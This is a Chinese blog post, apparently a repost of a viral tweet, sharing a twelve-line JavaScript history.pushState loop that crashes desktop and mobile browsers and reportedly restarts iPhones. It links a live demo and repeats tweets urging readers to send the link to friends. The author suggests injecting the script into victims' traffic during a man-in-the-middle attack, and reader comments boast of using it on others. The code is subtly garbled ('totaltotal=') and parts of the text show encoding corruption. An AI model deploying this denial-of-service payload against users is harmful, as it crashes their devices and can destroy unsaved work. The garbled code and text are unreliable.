這十二行代碼是如何讓瀏覽器爆炸的?
起因
今天刷推特的時候發(fā)現(xiàn)Cyber Security@cyber__sec的推文讓人眼前一亮:
Crash firefox, chrome, safari browsers, and also restart iphone using this javascript code. #dos #0day #exploit
//使用下面這段JavaScript代碼能讓firefox,chrome,safari瀏覽器崩潰,而且還能讓iphone重啟。
繼續(xù)在推特上深挖發(fā)現(xiàn)IT Security Tweets ™ @F1r3h4nd 于17日發(fā)推:
Crash your friend's browser and restart Iphone with a link which has this script: #0day
//把帶有下面這個腳本的鏈接發(fā)給你的朋友,能讓你朋友的瀏覽器崩潰,而且讓Iphone重啟。
完整HTML代碼如下:
- <html>
- <body>
- <script>
- var total="";
- for (var i=0;i<1000000;i++)
- {
- totaltotal= total+i.toString();
- history.pushState(0,0,total);
- }
- </script>
- </body>
- </html>
demo:(溫馨提示:請保存瀏覽器其它窗口的編輯任務(wù))
www.0xroot.cn/demo.html (點擊一下,又不會懷孕!)
接來下會發(fā)生什么?
點開以后,我的狀態(tài)是這樣的:
如果你是PC端用戶,點開鏈接以后,電腦CPU內(nèi)存極有可能一路狂飆直至瀏覽器崩潰卡死!
如果你是移動端(安卓、iPhone)用戶,點開鏈接以后你的瀏覽器會閃退!在微博、微信客戶端點開鏈接同樣會閃退。至于在推文中提到的讓iPhone重啟,這一現(xiàn)象倒是沒有出現(xiàn)。22:49 修正:iPhone用Safari打開之后鏈接之后,手機(jī)注銷重啟了!…
思考
這是Bug還是0day?為什么會有這一現(xiàn)象?如何實現(xiàn)的?
有哪些比較有意思的利用姿勢?(我先來個:當(dāng)在執(zhí)行MITM中間人攻擊的時候,可以注入這一段js,來個惡搞整蠱。然后都懂的…)
歡迎大家在評論中發(fā)表自己的觀點
微博評論/討論摘取
懷孕了...
好有趣...
好可怕...
整蠱不錯
我已禍害了好多人(賣萌臉(づ ̄ 3 ̄)づ)
崩潰了
火狐假死10秒后彈窗提示腳本無響應(yīng)可停止難道是history的棧溢出么?
可以可以,新姿勢get√
JS是世界上最好的語言!
hist.pushState是干嘛用的?
電腦正在重啟
不能只讓我一個人中招
我為什么會手賤?
Chrome隱身模式?jīng)]有問題啊